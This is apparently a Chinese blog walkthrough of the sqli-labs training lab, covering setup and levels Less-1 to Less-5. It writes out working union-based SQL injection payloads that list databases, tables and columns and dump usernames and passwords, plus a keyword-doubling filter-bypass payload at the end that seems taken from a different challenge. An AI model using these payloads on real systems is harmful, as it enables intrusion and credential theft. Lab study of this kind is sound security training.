Sql-Labs全攻略(持续更新)
平台搭建
使用PHPStudy在本地搭建平台
之前因为工作原因,操作不是很方便,所以就只是在服务器端搭建了一个平台,然后就遇上了各种各样的bug和要迈过去的坎,也不能说浪费了很多时间,至少这些时间和精力也是技术成长的一部分嘛hhh,但是毕竟我现在重点在旧活新整,所以图个省事,现在也没有那么多阻碍了。
到网上看了一眼才发现现在有人整了个很不错的软件出来了,一键搭建,很帅。
我之前在学校里一直用的是xampp,现在这个软件既然这么方便所以直接用上了。
Github
Sql-Labs下载地址:https://github.com/Audi-1/sqli-labs
解决方案
SQLi-LABS Page-1(Basic Challenges)
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
先试验一下
报错信息提示是在1之后,说明可以用字符型闭合来注入。
测试到4的时候开始报错:
说明表单总共有三列的数据。
注:--+可以注释掉后面的闭合,我忘了和#有什么区别来着了……先留个坑。
前段时间考试太多,忙活两年,基本功忘差不多了……
这里使用联合查询
TIP:
所以这里需要改一下:
回显的位置在2和3上面
试试:
可以成功的。
这里补充一个知识点:
SQL注入中group_concat的学习笔记
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称
TABLES :存储表名的
——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
——>关键字段:TABLE_NAME表示所属的表的名称
COLUMNS :存储字段名的
——>关键字段:COLUMN_NAME表示字段名
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码password=0x70617373776F7264
select group_concat(column_name) from information_schema.columns where table_name=0x70617373776F7264
所以这里可以继续进行注入,查询所有数据库的名称:
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
这里查看之前database()查到的security库的表的名称:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
然后查security库里的表名为users的表的列名,估计这个表里存用户信息:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
进一步注入,查询内容:
?id=-1' union select 1,2,group_concat(concat(' ID: ',id,' Name: ',username,' Pass: ',password)) from security.users --+
Lesson1到这里全部结束。
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
方法同Lesson-1
问就是一个字符型注入一个整型注入
不同的地方在于一个注入时id=1后有单引号另外一个没有
因为后端在处理sql语句的时候一个当作字符“1”来处理另一个当作整型1来处理
所以加上引号就变成了‘1’而另外一个就是1
验证方法如下:
这里有回显。
这样会报错。
所以是整型注入,不用加引号即可。
源码:
其他不多赘述。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
其实同Lesson-2
只是这次是字符型注入,然后得多补上一个右括号。
看下源码:
因为源码中的sql语句多了一个括号,所以这里?id=1‘)把sql语句补全就可以了。
这里的--+不能换成#,会报错,主要是忘了#和--+的区别了……
貌似--+更稳妥,先留个坑,日后找一下资料看一眼。
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
道理同Lesson-3,这里是双引号的情况。
所以构造方式为 id=1")
这里小小分析一下吧,本人过于愚笨没有第一时间反应过来,所以就看了一下sql的回显。
这里介绍一个小TIP:输入echo $sql; 和echo "<br>";
如图:
这样在注入时网页会显示sql语句的全貌:
这就跟我想的一摸一样,就是一个简单的补充构造来瞒天过海的过程。
说一下之所以让我思考了一下,因为这里我参考的老哥的bolg的写法:
这个”注释双引号“的操作让我没反应过来。我还在想这里不是-1之后所有的内容都是作为id的内容传上去的呀,而不是只有-1是id的内容,所以上面给$id加双引号的操作也应该加在--+的后面来着。
也有可能是我没有考虑清楚,这里标注一下,我和这个老哥中应该有一个人的想法是错误的。
本题其他所有内容参考Lesson-1
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
这里可以利用XPATH报错来完成注入。
?username=ad%27%20ununionion%20selselectect%201,2,(selselectect%20group_concat(passwoorrd)frfromom b4bsql whewherere username='flag')%20%23&password=1